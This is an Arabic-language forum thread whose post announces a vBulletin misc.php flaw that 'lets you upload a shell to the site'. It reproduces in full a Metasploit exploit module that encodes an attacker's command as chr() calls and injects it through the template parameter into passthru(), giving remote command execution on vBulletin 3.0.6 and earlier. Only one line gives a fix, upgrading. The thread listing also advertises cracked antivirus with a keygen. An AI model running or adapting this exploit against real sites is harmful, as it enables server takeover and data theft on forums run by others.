رمضانيات إيبلا و أقوى عروض الماستر ريسلر (اخر مشاركة : ابيلا للمعلومات - عددالردود : 0 - عددالزوار : 6 )           »          عرض للمبتدئين .. إمتلك منتدى كامل بـ 175 ريال لأول 10 طلبات فقط (اخر مشاركة : انجاز هوست - عددالردود : 0 - عددالزوار : 6 )           »          الافاست باخر اصدار مع الكيجن Avast! Pro Antivirus 5.0.594 Final (اخر مشاركة : TheOther - عددالردود : 0 - عددالزوار : 5 )           »          انقسام (اخر مشاركة : عابد الغفار - عددالردود : 0 - عددالزوار : 9 )           »          امتلك سيرفر كامل من 25 دولار شهريا الى 150 دولار شهريا-12 نوع سيرفر (اخر مشاركة : qpali - عددالردود : 0 - عددالزوار : 10 )           »          أثقل مزحة في العالم - فيديو (اخر مشاركة : جليس النجوم - عددالردود : 0 - عددالزوار : 9 )           »          تقرير الجيش الاسرائيلي عن العربية اليانو (اخر مشاركة : جليس النجوم - عددالردود : 1 - عددالزوار : 27 )           »          Mcafee Total Protection 2010عملاق الحماية أخر اصدار (اخر مشاركة : تىداتا - عددالردود : 0 - عددالزوار : 6 )           »          عرض ايبلا الرمضانى (اخر مشاركة : ابيلا للمعلومات - عددالردود : 0 - عددالزوار : 15 )           »          كتاب بالغة العربية لجمع الثروة من الانترن (اخر مشاركة : قلب عربي - عددالردود : 0 - عددالزوار : 11 )           »         


رد
 
أدوات الموضوع طرق مشاهدة الموضوع
قديم 10-02-2005, 12:04 PM   #1
الدعم الفني
 
الصورة الرمزية Mohannad
 





[ثغره] بملف الـ misc.php

السلام عليكم ي
ثغره تمكنك من رفع شل على الموقع

وللترقيع

الترقيه الي اخر اصدار او الي قبله

مكتشف الثغره
str0ke

تاريخ: 2005-08-03

كود PHP:
##
#        Title: vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit
#    Name: php_vb3_0_6.pm
# License: Artistic/BSD/GPL
#         Info: trying to get the command execution exploits out of the way on milw0rm.com. M's are always good.
#
#
#  - This is an exploit module for the Metasploit Framework, please see
#     http://metasploit.com/projects/Framework for more information.
##

package Msf::Exploit::php_vb3_0_6;
use 
base "Msf::Exploit";
use 
strict;
use 
Pex::Text;
use 
bytes;

my $advanced = { };

my $info = {
        
'Name'     => 'vBulletin <= 3.0.6 (Add Template Name in HTML Comments = Yes) command execution eXploit',
        
'Version'  => '$Revision: 1.0 $',
        
'Authors'  => [ 'str0ke' ],
        
'Arch'     => [ ],
        
'OS'       => [ ],
        
'Priv'     => 0,
        
'UserOpts' =>
          {
                
'RHOST' => [1'ADDR''The target address'],
                
'RPORT' => [1'PORT''The target port'80],
                
'VHOST' => [0'DATA''The virtual host name of the server'],
                
'RPATH' => [1'DATA''Path to the misc.php script''/forum/misc.php'],
                
'SSL'   => [0'BOOL''Use SSL'],
          },

        
'Description' => Pex::Text::Freeform(qq{
                
This module exploits a code execution flaw in vBulletin <= 3.0.6.
}),

        
'Refs' =>
          [
                [
'MIL''832'],
          ],

        
'Payload' =>
          {
                
'Space' => 512,
                
'Keys'  => ['cmd''cmd_bash'],
          },

        
'Keys' => ['vBulletin'],
  };

sub new {
        
my $class shift;
        
my $self $class->SUPER::new({'Info' => $info'Advanced' => $advanced}, @_);
        return(
$self);
}

sub Exploit {
        
my $self shift;
        
my $target_host    $self->GetVar('RHOST');
        
my $target_port    $self->GetVar('RPORT');
        
my $vhost          $self->GetVar('VHOST') || $target_host;
        
my $path           $self->GetVar('RPATH');
        
my $cmd            $self->GetVar('EncodedPayload')->RawPayload;

        
# Encode the command as a set of chr() function calls
        
my $byte join('.'map $_ 'chr('.$_.')' unpack('C*'$cmd));

        
# Create the get request data
        
my $data "?do=page&template={\${passthru($byte)}}";

        
my $req =
                
"GET $path$data HTTP/1.1\r\n".
                
"Host: $vhost:$target_port\r\n".
                
"Content-Type: application/html\r\n".
                
"Content-Length: "length($data)."\r\n".
                
"Connection: Close\r\n".
                
"\r\n";

        
my $s Msf::Socket::Tcp->new(
                
'PeerAddr'  => $target_host,
                
'PeerPort'  => $target_port,
                
'LocalPort' => $self->GetVar('CPORT'),
                
'SSL'       => $self->GetVar('SSL'),
          );

        if (
$s->IsError){
                
$self->PrintLine('[*] Error creating socket: ' $s->GetError);
                return;
        }

        
$self->PrintLine("[*] Sending the malicious vBulletin Get request...");

        
$s->Send($req);

        
my $results $s->Recv(-120);
        
$s->Close();

        return;
}

1

وللتوضيح اكثر
الثغره في ملف

misc.php

المصدر:

http://www.milw0rm.com/id.php?id=1133


غير موجود   رد مع اقتباس
رد


الذين يشاهدون محتوى الموضوع الآن : 1 ( الأعضاء 0 والزوار 1)
 
أدوات الموضوع
طرق مشاهدة الموضوع

تعليمات المشاركة
لا تستطيع إضافة مواضيع جديدة
لا تستطيع الرد على المواضيع
لا تستطيع إرفاق ملفات
لا تستطيع تعديل مشاركاتك

BB code is متاحة
كود [IMG] متاحة
كود HTML معطلة

الانتقال السريع

المواضيع المتشابهه
الموضوع كاتب الموضوع المنتدى مشاركات آخر مشاركة
[ثغره] بملف آخر عشره مواضيع Mohannad قسم ثغرات النسخة الثالثة 1 09-28-2008 11:11 AM
[ثغره] بملف functions_search.php Mohannad قسم ثغرات النسخة الثالثة 1 09-28-2008 11:07 AM
[ثغره] بملف الرسائل الخاصه private.php Mohannad قسم ثغرات النسخة الثالثة 1 09-28-2008 10:52 AM
[ثغره] بملف includes/functions_faq.php Mohannad قسم ثغرات النسخة الثالثة 1 08-12-2008 09:19 AM
[ثغره] بملف vBulletin 3.0.X init.php SQL Injection Mohannad قسم ثغرات النسخة الثالثة 0 10-02-2005 11:51 AM


الساعة الآن 10:53 AM.

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010